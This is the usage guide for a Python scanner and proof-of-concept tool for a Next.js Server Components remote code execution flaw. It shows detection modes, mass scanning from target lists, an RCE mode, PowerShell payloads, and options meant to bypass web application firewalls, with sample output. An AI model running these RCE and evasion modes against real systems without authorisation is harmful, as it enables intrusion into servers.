╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║                                                                        ║
║                                                                        ║
╠════════════════════════════════════════════════════════════════════════╣
║  Modes: --safe (side-channel) | --rce (PoC) | --version | --local      ║
║  WAF Bypass: --waf-bypass | --vercel-bypass | --unicode                ║
╚════════════════════════════════════════════════════════════════════════╝

# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate

# Install dependencies
pip install -r requirements.txt

# Or install manually
pip install requests tqdm

# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version

# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe

# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce

# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive

# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json

# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q

# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json

# Scan current directory
python3 react2shell-ultimate.py --local .

# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects

# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass

# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256

# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode

# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass

# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows

# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080

# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"

# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30

# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v

[VULNERABLE] https://target.com
    Version: 15.3.1 | Status: 200 | Method: rce_poc
    WAF Bypass: SUCCESS

[NOT VULNERABLE] https://safe-target.com
    Version: 15.5.7 | Status: 200 | Method: http_headers

[WAF BLOCKED] https://protected.com
    Version: 15.2.0 | Status: 403 | Method: rce_poc
    WAF Detected: Exploit blocked

{
  "tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
  "version": "1.0.0",
  "cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
  "scan_time": "2025-12-06T12:00:00Z",
  "total_results": 1,
  "results": [
    {
      "url": "https://target.com",
      "vulnerable": true,
      "version": "15.3.1",
      "status_code": 200,
      "detection_method": "rce_poc",
      "waf_detected": false,
      "waf_bypassed": false
    }
  ]
}